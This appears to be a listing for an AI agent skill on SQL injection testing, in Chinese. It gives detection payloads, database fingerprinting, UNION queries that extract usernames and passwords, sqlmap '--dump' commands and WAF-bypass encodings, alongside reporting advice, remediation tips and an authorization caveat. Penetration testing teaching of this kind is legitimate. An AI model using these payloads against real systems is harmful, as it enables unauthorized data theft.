sql-injection-testing

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SQL注入测试的专业技能和方法论

Install

mkdir -p .claude/skills/sql-injection-testing && curl -L -o skill.zip "https://mcp.directory/api/skills/download/5082" && unzip -o skill.zip -d .claude/skills/sql-injection-testing && rm skill.zip

Installs to .claude/skills/sql-injection-testing

About this skill

SQL注入测试技能

概述

SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。

测试方法

1. 参数识别

  • 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
  • 重点关注:id、search、filter、sort等参数
  • 使用Burp Suite或类似工具拦截和修改请求

2. 基础检测

  • 单引号测试:' - 查看是否出现SQL错误
  • 布尔盲注:' AND '1'='1 vs ' AND '1'='2
  • 时间盲注:' AND SLEEP(5)--
  • 联合查询:' UNION SELECT NULL--

3. 数据库识别

  • MySQL:' AND @@version LIKE '%mysql%'--
  • PostgreSQL:' AND version() LIKE '%PostgreSQL%'--
  • MSSQL:' AND @@version LIKE '%Microsoft%'--
  • Oracle:' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--

4. 信息提取

  • 数据库名:' UNION SELECT database()--
  • 表名:' UNION SELECT table_name FROM information_schema.tables--
  • 列名:' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
  • 数据提取:' UNION SELECT username,password FROM users--

工具使用

sqlmap

# 基础扫描
sqlmap -u "http://target.com/page?id=1"

# 指定参数
sqlmap -u "http://target.com/page" --data="id=1" --method=POST

# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

手动测试

  • 使用Burp Suite的Repeater模块
  • 使用浏览器开发者工具
  • 编写Python脚本自动化测试

绕过技术

WAF绕过

  • 编码绕过:URL编码、Unicode编码、十六进制编码
  • 注释绕过:/**/, --, #
  • 大小写混合:SeLeCt, UnIoN
  • 空格替换:/**/, +, %09(Tab), %0A(换行)

示例

原始:' UNION SELECT NULL--
绕过1:'/**/UNION/**/SELECT/**/NULL--
绕过2:'%55nion%20select%20null--
绕过3:'/*!UNION*//*!SELECT*/null--

验证和报告

验证步骤

  1. 确认可以执行SQL语句
  2. 提取数据库信息验证
  3. 评估影响范围(数据泄露、权限提升等)
  4. 记录完整的POC(请求/响应)

报告要点

  • 漏洞位置和参数
  • 影响的数据和系统
  • 完整的利用步骤
  • 修复建议(参数化查询、输入验证等)

注意事项

  • 仅在授权测试环境中进行
  • 避免对生产数据造成破坏
  • 谨慎使用DROP、DELETE等危险操作
  • 记录所有测试步骤以便复现

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